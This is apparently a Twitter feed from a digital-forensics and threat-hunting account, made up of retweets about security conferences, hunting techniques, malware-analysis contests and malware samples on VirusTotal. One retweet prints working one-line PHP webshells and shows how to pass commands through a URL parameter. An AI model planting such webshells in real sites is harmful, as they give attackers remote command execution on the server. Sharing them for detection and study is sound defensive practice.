dfir_it retweeted
RooCon Call for Papers is open!
We are now accepting papers for RooCon 2023, Cyber Threat Intelligence and Attribution conference.
This year's conference will focus on practical applications of these topics. Submit your abstract by 14th of August rsvp.withgoogle.com/events/r…
dfir_it retweeted
Sometimes you just want to hunt 🔫
Three excellent technologies to investigate are...
- VPN Clients
- Proxy Services
- Localhost Tunneling
Read along to further expand the defender’s hunting and detection repertoire against these three troublemakers.
mandiant.com/resources/burro…
dfir_it retweeted
Congrats to everyone who participated in #FLAREOn8! 👏
Check out our blog post for more on this year's contest & read the detailed solutions by each challenge author >> mndt.info/3bapUw8
dfir_it retweeted
#flareon7 The hall of fame is now live! flare-on.com/2020.html Congratulations everyone. Prizes will begin shipping in Mid-November
dfir_it retweeted
Just recently realized that SANS Institute posted the presentation deck from the talk @dfir_it and I gave at the SANS #threathunting summit last fall. So in case anyone is interested: sans.org/cyber-security-summ…
dfir_it retweeted
<❔Oneliner PHP Webshells!❔>
Shortest:
<?=`$_GET[1]`?>
*For even shorter, try dropping ?>
Pass cmd in url query string:
site.com/x.php?1=pwd
Variations:
<? eval($_GET[1]);?>
<? system($_REQUEST[1]);?>
🙏 to @x4ce @brutelogic @fideliscyber @dfir_it
#oneliner #php #webshell
dfir_it retweeted
Didn't realize it was already posted but here is my and @dfir_it / Piotr's @MITREattack ATT&CKcon 2.0 talk from last month where we discuss @CrowdStrike OverWatch initiatives to enhance and automate some our uses of ATT&CK. youtube.com/watch?v=hAsKp43A…
dfir_it retweeted
#DFIR Pleased to announce that we have published Kuiper a digital investigation platform. It is designed to aid investigators in the analysis of a wide range of windows artifacts with an emphasis on performance, collaboration and alerting. github.com/DFIRKuiper/Kuiper
This simple SSH port forwarder has been around for a while. Even the embedded password has not been changed over the years. Samples:
virustotal.com/gui/file/ec5b… (2017)
virustotal.com/gui/file/6b09… (2019)
Another fresh sample and another #OPSEC fail: virustotal.com/gui/file/b83c…. One Google search away from determining the source organization 🤫
1
It looks like distribution of the #kingminer #malware was moved to GitHub: github.com/frtwr/a
24132.txt - virustotal.com/gui/file/3e36…
24164.txt - virustotal.com/gui/file/6afc…
n.txt- virustotal.com/gui/file/3902…
